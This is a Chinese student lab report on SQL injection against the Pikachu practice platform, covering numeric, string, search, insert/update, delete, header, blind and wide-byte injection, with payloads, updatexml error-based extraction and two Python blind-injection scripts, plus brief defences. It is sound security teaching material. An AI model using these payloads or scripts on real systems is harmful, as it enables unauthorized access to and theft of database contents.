pikachu-SQL注入

web安全

实验报告

 

实验三

SQL注入

 

 

 

学生姓名

涂君奥

年级

2017级

区队

 实验班

指导教师

 

               高见

 

概  述

SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。

pikachu-SQL注入

比如我们期望用户输入整数的id,但是用户输入了上图中下面的语句,这是条能被正常执行的SQL语句,导致表中的数据都会输出。

1.2SQL注入攻击流程

第一步:注入点探测

  • 自动方式:使用web漏洞扫描工具,自动进行注入点发现
  • 手动方式:手工构造SQL注入测试语句进行注入点发现

第二步:信息获取

  通过注入点取得期望得到的数据

  • 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
  • 2.数据库信息:数据库蜜罐,数据库表,表字段,字段内容等(加密内容破解)

第三步:获取权限

  • 获取操作系统权限:通过数据库执行shell,上传木马

1.3注入点类型

分类根据:输入的变量传入到SQL语句是以什么类型拼接的

  • 数字型:user_id=$id
  • 字符型:user_id=‘$id‘
  • 搜索型:text LIKE ‘%{$_GET[‘search‘]}%‘"

 

数字型注入(POST)

这里可以根据我们选择的 userid 返回用户名和邮箱

 pikachu-SQL注入

 

 

 

 

测试注入时,我们需要思考提交的参数后台是如何操作的。我们提交了一个d,返回了用户名和邮箱。

正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。

因为是用POST语句取得我们传递的参数值,传递给一个变量,再到数据库查询。所以我们猜测后台的查询语句大概是下面这样的

$id=$_POST[‘id‘]
select 字段1,字段2 from 表名 where id=1$id
pikachu-SQL注入

 

 

 

 

 BurpSuite 抓包来测试一下,把传入的参数改成下面的语句,看看返回的结果

1 or 1=1

我们把 BurpSuite 中拦截的包发到 Repeater 中,修改id参数的值,查看响应结果。可以看到取出了数据库中全部数据,说明存在数字型注入漏洞。

 

 

pikachu-SQL注入

 

 

 

 

字符型注入(GET)

我们输入“James”,可以得到下面的输出

输入不存在的用户时,会提示用户不存在。另外这是一个 GET 请求,我们传递的参数会出现都 URL 中

pikachu-SQL注入

 

 

 

 

 

因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。猜想后台的SQL查询语句为

$name=$_GET[‘username‘]
select 字段1,字段2 from 表名 where username=‘$name‘

我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下

James 'or'1'='1'#

MySQL中有3种注释:

① #

② -- (最后面有个空格)

③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /*sqli*/ users;

这时候我们也能看到这个表中的全部信息了

pikachu-SQL注入

 

 

 

 

 

搜索型注入

 先随意输入几个

pikachu-SQL注入

 

 

 

 

 pikachu-SQL注入

 

 

 

 

 

这个功能运行我们输入用户名的一部分来查找,可以猜想后台使用了数据库中的搜索这个逻辑,比如用了 LIKE 。比如

select 字段1,字段2 from 表名 where username like ‘%$name%‘

我们就可以构造对应的闭合,闭合前面的 单引号 和 百分号,注释后面的百分号和单引号。构造的payload如下

L%'or'1'='1'#
pikachu-SQL注入

 

 

 

 

XX型注入

后台存在各种方式拼接我们的SQL语句,所以我们需要尝试构造各种各样的闭合。比如在这里后台就是用括号的方式拼接SQL查询语句的

pikachu-SQL注入

 

构造的payload如下

James') or 1=1#
pikachu-SQL注入

 

 

 

 

 

insert/update注入

 学过数据库,知道insert就是在数据库中添加数据

 那么我们注册一个账号,是不是就是在数据库中添加了账号数据

 那么我们可以在注册页面插入我们的注入语句

 我们猜测后台的mysql语句应该是

 insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

 那我们可以在xxx的位置构造我们的注入语句

 xxx' or updatexml(1,concat(0x7e,database()),0) or '

 

pikachu-SQL注入

 

 

 

 

 

可以看到通过报错获取到了数据库名称

我们来分析一下后台的SQL语句

insert into user(name,password,sex,phone,address1,address2) value('xxx' or updatexml(1,concat(0x7e,database()),0) or '',123,1,2,3,4)

 说一下问什么这样构造payload,首先介绍一个函数updatexml() : 是mysql对xml文档数据进行查询和修改的xpath函数,updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值

  •  语法:updatexml(xml_document,XPthstring,new_value)
  •  第一个参数是字符串
  • 第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
  • 第三个参数是将要替换成什么
  •  Xpath定位必须是有效的,否则则会发生错误

 

接下来是update注入

我们先正经注册一个账号,然后登陆。

pikachu-SQL注入

 

 

 

 

 

 

 

还是和之前一样,我们要想象,后台的mysql语句是怎么执行的

 

更新我们的信息,需要用到的时候update语句

 

当修改性别的时候推测后台执行了

 

  • update tables set sex = '$sex' where name = 'boy';

 

这样我们可以在$sex处构造语句

 

  • xxx' or updatexml(1,concat(0x7e,database()),0) or '

 

把构造好的语句插入进去看看

 

update tables set sex = 'xxx' or updatexml(1,concat(0x7e,database()),0) or '

' where name = 'boy';

 

就构造了一个闭合,可以查询我们想要查询的内容了pikachu-SQL注入

 

delete注入

这里有一个留言板,点删除可以把对应的留言删掉

 

 pikachu-SQL注入

 

 

 我们点删除并用 BurpSuite 抓包,实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言

后台可能的 SQL 语句如下

delete from message where id=58

我们发送到 Repeater 中继续进行实验,由于参数的值是数字型,所以后台可能存在数字型注入漏洞,构造payload如下(没有单引号)

58 or updatexml(1, concat(0x7e,database()), 0) 

把 payload 经过 URL编码后替换 BurpSuite 中 id 的值,我们也能得到同样的结果

 

 

 pikachu-SQL注入

 

 

 

 

 

http header注入

有些时候,后台开发人员为了验证客户端头信息(比如cookie验证)

或者通过http header获取客户端的一些信息,比如useragent,accept字段等

 

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时并没有足够的安全考虑

则可能会导致基于 http header 的 SQL 注入漏洞

 

登录账号:admin / 123456

 

 pikachu-SQL注入

 

 

 

 pikachu-SQL注入

 

 

  构造

1' or updatexml(1, concat(0x7e, database()), 0) or '

 

 pikachu-SQL注入

 

 

 

 pikachu-SQL注入

 

 

 

盲注

在有些情况下,后台使用了错误屏蔽方法屏蔽了报错

此时无法根据报错信息来进行注入的判断

这种情况下的注入,称为“盲注”

9.1盲注(based on boolean)

基于真假的盲注主要特征

  • 没有报错信息
  • 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
  • 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断

 

直接写脚本

 

 

 pikachu-SQL注入

 

 

 代码:

 

 
import requests
import string

url="http://172.22.36.163:801/pikachu-master/vul/sqli/sqli_blind_b.php"
temp=''
str1=string.printable
for i in range(1,100):
    for a in str1:
        print(a)
        params={
            # 'name':f'"lili"^(ascii(substr((load_file("/var/www/html/flag.php")),{i},1))={ord(a)})',
            # 'name':'lili',
            'name':f"lili' and (ascii(substr(database(),{i},1))={ord(a)})#",
            'submit':'%E6%9F%A5%E8%AF%A2'
        }
        rep= requests.post(url=url,params=params)
        # print(params)
        # print(rep.text)
        if 'lili' in rep.text:#lili@pikachu
            temp+=a
            print('[+] output: '+temp)
            break
# params={#if 也可以
#     # 'name':f'"lili"^(ascii(substr(database(),0,1))={ord("p")})',
#     'name':"lili' and ascii(substr(database(),1,1))=ord('p')#",
#     'submit':'%E6%9F%A5%E8%AF%A2'
# }
# rep= requests.post(url=url,params=params)


# print(rep.text)
# print(params)
# print(ord('p'))

盲注(based on time)

直接写脚本

 

 

 pikachu-SQL注入

 

 

 不过有个点注意下,

substr(database(), 1, 1)=112是有问题的,前面要加ascll,不然就成了弱类型比较,左边会被强制转换成0或1来进行比较
 
import requests
import string
import datetime

url="http://172.22.36.163:801/pikachu-master/vul/sqli/sqli_blind_t.php"
temp=''
str1=string.printable
for i in range(1,20):
    for a in str1:
        print(a)
        params={
            # 'name':f'"lili"^(ascii(substr((load_file("/var/www/html/flag.php")),{i},1))={ord(a)})',
            # 'name':'lili',
            'name':f"lili' and if((ascii(substr(database(),{i},1))={ord(a)}),sleep(1),null)#",
            'submit':'%E6%9F%A5%E8%AF%A2'
        }
        time1 = datetime.datetime.now()
        rep= requests.post(url=url,params=params)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
    # print(rep.text)
                temp+=a
                print('[+] output: '+temp)
                break
    # print(rep.text)
        # print(params)
        # print(rep.text)
        # if 'lili' in rep.text:#lili@pikachu
        #     temp+=a
        #     print('[+] output: '+temp)
        #     break
# params={#if 也可以
#     # 'name':f'"lili"^(ascii(substr(database(),0,1))={ord("p")})',
#     # 'name':"lili' and ascii(substr(database(),1,1))=ord('p')#",
#     'name':"lili' and if(ascii(substr(database(), 1, 1))=112, sleep(1), null)#",
#     'submit':'%E6%9F%A5%E8%AF%A2'
# }
# time1 = datetime.datetime.now()
# rep= requests.post(url=url,params=params)
# time2 = datetime.datetime.now()
# sec = (time2 - time1).seconds
# if sec >= 1:
#     print(rep.text)
#     print(sec)
# else:
#     print(rep.text)
#     print(sec)
#     # print(params)
#     # print(ord('p'))

 宽字节注入

 

当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

 

GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。

 

在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入 payload

 

当我们用通常的测试 payload时,是无法执行成功的,下面的payload会报错

 

kobe' or 1=1#

 pikachu-SQL注入

 

 

 

 

因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,让单引号成功逃逸

 

kobe%df' or 1=1#

 

 pikachu-SQL注入

 

 

 

 

 pikachu-SQL注入

 

 

 

SQL注入防范措施

 

  • 代码层面
    • 对输入进行严格的转义和过滤
    • 使用预处理和参数化(Parameterized)
  • 网路层面
    • 通过WAF启用防范SQL Inject
    • 云端防护(360网站卫士,阿里云盾)

 

转义和过滤

 

pikachu-SQL注入

 

预处理和参数化

 

pikachu-SQL注入

 

网络防范

 

pikachu-SQL注入

 

pikachu-SQL注入

 

上一篇:pikachu-暴力破解


下一篇:pikachu CSRF